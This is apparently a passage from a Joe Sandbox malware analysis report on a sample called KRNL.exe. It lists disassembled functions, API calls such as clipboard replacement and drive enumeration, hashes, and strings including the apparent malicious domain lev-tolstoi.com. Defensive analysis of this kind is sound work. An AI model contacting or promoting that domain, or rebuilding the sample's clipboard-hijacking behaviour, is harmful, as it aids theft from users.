Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: bd59a1eb5dda5866b79bd2c7b59a12665f0afe7042a8db01c5d4b2234511d839
Instruction ID: 6e1dd83ed214097eb2670d2ff6bff18461d0fc674b79f14ba522985c299029a0
Opcode Fuzzy Hash: bd59a1eb5dda5866b79bd2c7b59a12665f0afe7042a8db01c5d4b2234511d839
Instruction Fuzzy Hash: B431D57250021DEBCF269F90CD448FE7B67FF09315B18965AFA544A222C33ADD61DB81

Function 006EB831 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 006EB8B9
RaiseException.KERNEL32(?,?,?,?,?), ref: 006EB8DE

Part of subcall function 006F060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,006EF354,02924DA0,?,?,?,006EF354,006E3D4A,0071759C,006E3D4A), ref: 006F066D

Part of subcall function 006F8353: IsProcessorFeaturePresent.KERNEL32(00000017,006FC224), ref: 006F836F

Strings

csm, xrefs: 006EB86D

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 9ca096931ade157abe73758a3670340521f7aa8b33080543203f7b3cf4cd8428
Instruction ID: c3957d0d1d5e4f673619f74532783bb5e4c57914bfb5cba4ce5e8a39211888e7
Opcode Fuzzy Hash: 9ca096931ade157abe73758a3670340521f7aa8b33080543203f7b3cf4cd8428
Instruction Fuzzy Hash: DD215531E02358EBCF249F9AD945AEFB7BAAF54710F14540AE405AB350CB70AD458B81

Function 006EB46C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 006E2673

Strings

bad array new length, xrefs: 006E2626
ios_base::badbit set, xrefs: 006E2650

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: d2b0de6f9a33efe203d3a6bca6d609cf212f142b6367e3e1300e0f03bef70bee
Instruction ID: a495ef1df2cbff79822e63290eb82af11f077fea2c9069ed9ed00fe9c6958118
Opcode Fuzzy Hash: d2b0de6f9a33efe203d3a6bca6d609cf212f142b6367e3e1300e0f03bef70bee
Instruction Fuzzy Hash: 9F01DFF1609305EBDB14DF28D856A6B7BE9AF08318F11892CF45D8B381D379E848CB85

Function 006E2610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006F060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,006EF354,02924DA0,?,?,?,006EF354,006E3D4A,0071759C,006E3D4A), ref: 006F066D

___std_exception_copy.LIBVCRUNTIME ref: 006E2673

Strings

bad array new length, xrefs: 006E2626
ios_base::badbit set, xrefs: 006E2650

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: 8db41a135dd94c215ddfb7e1d4397b9eaa452265a8cee651155429ce22747484
Instruction ID: 604c0ce2b604bc0234580df0db794dc208271eba5c89ba3b93fdbdc1fe117293
Opcode Fuzzy Hash: 8db41a135dd94c215ddfb7e1d4397b9eaa452265a8cee651155429ce22747484
Instruction Fuzzy Hash: A8F0F8F1614300EBE710AF58D846757BBE8EB58718F11892CF5989B381D3B9D894CB92

Analysis Process: KRNL.exePID: 2120, Parent PID: 1740COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	6.2%
Signature Coverage:	52.9%
Total number of Nodes:	257
Total number of Limit Nodes:	19

Executed Functions

Function 00423675 Relevance: 51.8, APIs: 3, Strings: 26, Instructions: 1032
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000), ref: 004236A9
GetLogicalDrives.KERNEL32 ref: 00423996

Strings

|i, xrefs: 00424A98
<, xrefs: 00424724
>>, xrefs: 0042471A
9, xrefs: 004246D4
mm, xrefs: 004249DA
\a, xrefs: 00423725
45, xrefs: 004246DE
PR, xrefs: 00424A48
Vq, xrefs: 00424B78, 00424579, 00424774, 00424971, 004242C2, 0042474F
&Kt0, xrefs: 004242B5
fmkm, xrefs: 00423B4D
pmrm, xrefs: 00423B3F
XH, xrefs: 00424A2A
AQ, xrefs: 00424A5C
_p, xrefs: 00424A02
Hmkm, xrefs: 00423B69
)mOm, xrefs: 00423B77
wY, xrefs: 004249EE
\\, xrefs: 004249F8
rl, xrefs: 004249D0
Vq, xrefs: 0042499E
bo, xrefs: 004249E4
ef, xrefs: 00424AA2
bmdm, xrefs: 00423B70
Ys, xrefs: 00424A84
|s, xrefs: 00424A8E

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: DrivesEnvironmentExpandLogicalStrings
String ID: 9$&Kt0$)mOm$45$<$>>$AQ$Hmkm$PR$Vq$Vq$XH$Ys$\\$_p$bmdm$bo$ef$fmkm$mm$pmrm$rl$wY$|i$|s$\a
API String ID: 1595903574-2236109924
Opcode ID: bdc2e361060c2e60b1b8bcc2cdb8b3bfd283e30f55f17195bd23cc72b47b61d2
Instruction ID: 2fc2160d72e1542a336960e5481f9d0735e9c35b6a9b6e11306a6587d30006f6
Opcode Fuzzy Hash: bdc2e361060c2e60b1b8bcc2cdb8b3bfd283e30f55f17195bd23cc72b47b61d2
Instruction Fuzzy Hash: 25A2B7B9D11229DBDB20DF18DC8529EBB71FF95304F1086E9C8596B350E7389A81CF86

Function 0040CC75 Relevance: 30.2, Strings: 24, Instructions: 243
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ehdh, xrefs: 0040CED8
lev-tolstoi.com, xrefs: 0040D003
vh}h, xrefs: 0040CE49
yhrh, xrefs: 0040CEA1
FhFh, xrefs: 0040CF30
0h+h, xrefs: 0040CE80
uheh, xrefs: 0040CE8B
^hYh, xrefs: 0040CF0F
fhch, xrefs: 0040CE96
ph8h, xrefs: 0040CE5F
shoh, xrefs: 0040CEAC
hh(h, xrefs: 0040CEC2
Rhvh, xrefs: 0040CE6A
ohuh, xrefs: 0040CE54
`h,h, xrefs: 0040CECD
Ehph, xrefs: 0040CF66
RhTh, xrefs: 0040CEF9
xhdh, xrefs: 0040CE75
HhPh, xrefs: 0040CEEE
ChYh, xrefs: 0040CF1A
Kh^h, xrefs: 0040CF25
<h7h, xrefs: 0040CF46
uhjh, xrefs: 0040CEB7
Xh h, xrefs: 0040CF3B

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: 0h+h$<h7h$ChYh$Ehph$FhFh$HhPh$Kh^h$RhTh$Rhvh$Xh h$^hYh$`h,h$ehdh$fhch$hh(h$lev-tolstoi.com$ohuh$ph8h$shoh$uheh$uhjh$vh}h$xhdh$yhrh
API String ID: 0-3555453935
Opcode ID: 6a9fbf59f452024c383559b785281fa2e80acd9a431c8eb1751f95ce11aa3c8a
Instruction ID: 8753c489787e8cef6e0b2d778e15f4088c0b1d051e6c25f020ec618a161c42f3
Opcode Fuzzy Hash: 6a9fbf59f452024c383559b785281fa2e80acd9a431c8eb1751f95ce11aa3c8a
Instruction Fuzzy Hash: 3C81F1B190D3D08AD7308F29D98979BBBE1EFC6300F554A6DC1C86B250EB7A0516CB96

Function 00437CF0 Relevance: 28.6, APIs: 11, Strings: 5, Instructions: 574
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044268C,00000000,00000001,0044267C,00000000), ref: 00437E10
SysAllocString.OLEAUT32([d), ref: 00437E93
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00437ED1
SysAllocString.OLEAUT32(!,.,), ref: 00437F2F
SysAllocString.OLEAUT32(B6ABB756), ref: 00437FEF
VariantInit.OLEAUT32(?), ref: 0043805E
VariantClear.OLEAUT32(?), ref: 004381B1
SysFreeString.OLEAUT32 ref: 004381D4
SysFreeString.OLEAUT32(?), ref: 004381DA
SysFreeString.OLEAUT32(00000000), ref: 004381EE

Strings

C, xrefs: 00437DBF
\, xrefs: 00437DCA
W;, xrefs: 00437D37
[d, xrefs: 00437D7C
,,Y,, xrefs: 00437EE7

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInitInstanceProxy
String ID: ,,Y,$C$W;$[d$\
API String ID: 2485776651-2867424240
Opcode ID: 44b9128bec2104e14614ee01767a834835cc461376388db997f909470237cd48
Instruction ID: 3d09bc75159cb0bc0addfeff3c9f402bb7feac1769e375c6bd2c7d3d39127c8e
Opcode Fuzzy Hash: 44b9128bec2104e14614ee01767a834835cc461376388db997f909470237cd48
Instruction Fuzzy Hash: CD02BA766083009FE710DF65C884B6BBBE5EFC9710F14882EF5959B3A0DB79E8018B56

Function 058A1000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000001), ref: 058A1032
OpenClipboard.USER32(00000000), ref: 058A103C
GetClipboardData.USER32(0000000D), ref: 058A104C
GlobalLock.KERNEL32(00000000), ref: 058A105D
GlobalAlloc.KERNEL32(00000002,-00000004), ref: 058A1090
GlobalLock.KERNEL32 ref: 058A10A0
GlobalUnlock.KERNEL32 ref: 058A10C1
EmptyClipboard.USER32 ref: 058A10CB
SetClipboardData.USER32(0000000D), ref: 058A10D6
GlobalFree.KERNEL32 ref: 058A10E3
GlobalUnlock.KERNEL32(?), ref: 058A10ED
CloseClipboard.USER32 ref: 058A10F3
GetClipboardSequenceNumber.USER32 ref: 058A10F9

Memory Dump Source

Source File: 00000002.00000002.2916221258.00000000058A1000.00000020.00000800.00020000.00000000.sdmp, Offset: 058A0000, based on PE: true

Associated: 00000002.00000002.2916206230.00000000058A0000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2916236023.00000000058A2000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_58a0000_KRNL.jbxd

Similarity

API ID: ClipboardGlobal$DataLockUnlock$AllocCloseEmptyFreeNumberOpenSequenceSleep
String ID:
API String ID: 1416286485-0
Opcode ID: d8020062fc07a51c21c6fc66c8fdec1c339669c5555f250f16fb657dfd1376b3
Instruction ID: 1829eb1541578f15eba19ce2534b06e6051a366bf1a8796bd0e513d3115946c5
Opcode Fuzzy Hash: d8020062fc07a51c21c6fc66c8fdec1c339669c5555f250f16fb657dfd1376b3
Instruction Fuzzy Hash: 4221833A614250ABF7302B75AC0EB6A7BA9FF05786F040438FD47D6160EF61AC10C7A1

Function 00410247 Relevance: 13.0, APIs: 2, Strings: 5, Instructions: 700
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL ref: 004104C9
RtlExpandEnvironmentStrings.NTDLL ref: 004105C0

Strings

f@, xrefs: 004109E4
<., xrefs: 0041088E
X@, xrefs: 00410916
i, xrefs: 004109EE
$, xrefs: 00410985

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: $$<.$X@$f@$i
API String ID: 237503144-92190101
Opcode ID: 173b7ab53e4ef546a75e85442e8143dd99584801225795e8cb45284878ed8cf0
Instruction ID: 5d4d46c9a90ffb503717a27f7093fefa0dd82dfd25ea639eba7b9214d4ffac56
Opcode Fuzzy Hash: 173b7ab53e4ef546a75e85442e8143dd99584801225795e8cb45284878ed8cf0
Instruction Fuzzy Hash: 96528472A1C7508BC3649F39C4813EEB7E1AF85320F154A2EE8E9973D1D67899818B47

Function 004116A0 Relevance: 12.9, APIs: 4, Strings: 2, Instructions: 2356COMMON

Download Yara Rule

Strings

`, xrefs: 004125BC
&8, xrefs: 004119C3

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: &8$`
API String ID: 0-842996520
Opcode ID: 04d55245a6d6fe8c9061ae8d234f7c10597bb42f531ccff2a359901277746420
Instruction ID: e733c91b1712801f5584cc40fcd09b41f9830b0468eb1d5c922baaacae7725df
Opcode Fuzzy Hash: 04d55245a6d6fe8c9061ae8d234f7c10597bb42f531ccff2a359901277746420
Instruction Fuzzy Hash: 0213D3B6D042148BDB14DF78C9413DEBBF1AF45310F1586AED859AB391E7388D81CB8A

Function 0043328C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 004332DA
GetSystemMetrics.USER32 ref: 004332E9

Strings

, xrefs: 004333BD

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: be52f64dafac1e5ff9b8b3963e09f4bf9d8351297948cd5fcb18972580f21498
Instruction ID: d4d7d992982323047ebfbe64a21f998e07ffa76df3b32112bcb1f2418617eae3
Opcode Fuzzy Hash: be52f64dafac1e5ff9b8b3963e09f4bf9d8351297948cd5fcb18972580f21498
Instruction Fuzzy Hash: CB51A3B4E142089FCB40EFACD985A9EBBF0BF48310F10852AE498E7350D774A945CF96

Function 00426520 Relevance: 4.1, Strings: 3, Instructions: 380
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

{$[7, xrefs: 00426936
l'Y9, xrefs: 00426913
X`X*, xrefs: 0042691B

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: X`X*$l'Y9${$[7
API String ID: 2994545307-1509796914
Opcode ID: a7d4199a11afbcf664926020d9bbf2455d7265343a18d6926ad5fef2716d1da4
Instruction ID: 627f6c153a1e7a7093b5324472515697c41291643dc6d7d1fda9c09fef2ffd72
Opcode Fuzzy Hash: a7d4199a11afbcf664926020d9bbf2455d7265343a18d6926ad5fef2716d1da4
Instruction Fuzzy Hash: A5B15A72B043609BEB14CF14E84176B73A2EFD5304F96843EE8459B391E639EC09C389

Function 0040A8B0 Relevance: 4.1, Strings: 3, Instructions: 349
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ok, xrefs: 0040AAC3
j>a>, xrefs: 0040AA0F
F>]>, xrefs: 0040A97F

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: F>]>$j>a>$ok
API String ID: 0-2883800044
Opcode ID: 9129864f14639d17449b2f603e3219f21eae55219ba341b137a72b1f0aae79bb
Instruction ID: dd8b5e7c3122165f2fea48d4b4d2b9f00cb897ce1b6d78e13b6b522b53c881e4
Opcode Fuzzy Hash: 9129864f14639d17449b2f603e3219f21eae55219ba341b137a72b1f0aae79bb
Instruction Fuzzy Hash: 76B1F17261C3118BD328DF14845156FBBF2EFD1304F16482DEAD5AB380D239A91ACB9B

Function 0042CE60 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 392COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042CF80

Strings

8a, xrefs: 0042CE70

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: 8a
API String ID: 3960555810-1827930058
Opcode ID: 81e50134e1fb4b6584dfc42dfbfb872d721f9fd4204c3a06ee038d379535b189
Instruction ID: fc3ee4ebcf7795b95269f936594514899a52a37c83a41ea56dd400e4873d1426
Opcode Fuzzy Hash: 81e50134e1fb4b6584dfc42dfbfb872d721f9fd4204c3a06ee038d379535b189
Instruction Fuzzy Hash: 14B1F37160C3918BD729CF2AD85136BFBE1AFD6304F58886EE0D6873A1D7398405CB56

Function 0043D0D9 Relevance: 2.6, Strings: 2, Instructions: 135COMMON

Download Yara Rule

Strings

9., xrefs: 0043D150
9., xrefs: 0043D200

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: 9.$9.
API String ID: 2994545307-2940951921
Opcode ID: 208d8e1e8e407b3aab538934c649c1b580c7efd0bc8ea0d94b0776a936eb48b6
Instruction ID: f93bdb9af1b3060ada3c74757461e6e726e21cc43fcc8ee35440b0537a72968c
Opcode Fuzzy Hash: 208d8e1e8e407b3aab538934c649c1b580c7efd0bc8ea0d94b0776a936eb48b6
Instruction Fuzzy Hash: A7414575E041206FE7049F28DD5072BB293ABDA315F14E63AD984E73D9DA789C2087C8

Function 0042C8D0 Relevance: 1.9, APIs: 1, Instructions: 364COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042CF80

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 0461e324be3076e302c2b43e19ad019a5e4dd1efb388be3de8ee3e0016c2b1d6
Instruction ID: 0389c4d48cda137bc469657c8f973424e39e61ed96ceabf3f35c8008a6260973
Opcode Fuzzy Hash: 0461e324be3076e302c2b43e19ad019a5e4dd1efb388be3de8ee3e0016c2b1d6
Instruction Fuzzy Hash: ADA10571A0C3918BE729CF2AD85136BFBE1AFD6304F58886EE0D587391D7398405CB56

Function 00414E25 Relevance: 1.8, APIs: 1, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3c72d93ae102fda253e9b18f9f4e759999c11c12cd159e5bbea8afbf54f8cb9
Instruction ID: ddd59b32adecc82288acb2027229a5aeb8c46ffcdc49d2923191268a2ca1eca9
Opcode Fuzzy Hash: c3c72d93ae102fda253e9b18f9f4e759999c11c12cd159e5bbea8afbf54f8cb9
Instruction Fuzzy Hash: 54A119B59083819FD724CB29C4507AFBBE1BFD9304F18492EE0DA87382D639D985CB56

Function 0043FB10 Relevance: 1.6, Strings: 1, Instructions: 360COMMON

Download Yara Rule

Strings

mLjL, xrefs: 0043FB90

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: mLjL
API String ID: 2994545307-1911556848
Opcode ID: 0d0a37e59aa2415a73e4c1409be01007e9c7a6054839f71ec17ff75bb0ca7d0b
Instruction ID: 8475cca9f7a5a570b914ab5b93dd941b56f2e4823fdd83e04adae2a5f603aedc
Opcode Fuzzy Hash: 0d0a37e59aa2415a73e4c1409be01007e9c7a6054839f71ec17ff75bb0ca7d0b
Instruction Fuzzy Hash: D4B12772E083118BD728CF14D89156FB7A2FFC8314F15953DE98A573A1DA39AC05C786

Function 0043CD20 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00423382,00000002,00000014,000000FF,00000000,?,00000002,?), ref: 0043CD4E

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0040C942 Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

G9, xrefs: 0040C992

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: G9
API String ID: 0-2716091189
Opcode ID: 2fc45742e1a3686705e5dce742a14d5a280d3b57a4ce65dfcae4e6ba49c632fe
Instruction ID: 3b5bd5877d33dc8e27cd9c087e0f9001335ca5b0b3d528c35a28b92a38c22519
Opcode Fuzzy Hash: 2fc45742e1a3686705e5dce742a14d5a280d3b57a4ce65dfcae4e6ba49c632fe
Instruction Fuzzy Hash: B7412A736483118BD728CF14CC5176BB7B2EFC5310F0A5A2CE48567790E7789904D74A

Function 004400C0 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

@, xrefs: 00440172

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: cc1def0ecf068c9e964342eea13a098f01eda3a67e33911835bef30bc145f795
Instruction ID: d1964a0b6ec20b0ae5f3d5701f2f9b0f514b95607fc0800dfcb7b8fb3ca6f9ac
Opcode Fuzzy Hash: cc1def0ecf068c9e964342eea13a098f01eda3a67e33911835bef30bc145f795
Instruction Fuzzy Hash: 644155B59083108BE714CF24DC84A6BB7F1FFD5318F14852DEA895B3A0EB7A9815C786

Function 0043D9C1 Relevance: 1.4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

@, xrefs: 0043DA4D

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 3511ef42c4b007baf1fec548fa9812ccd487ed6d294edc1ac7bf06dcc82e3f6b
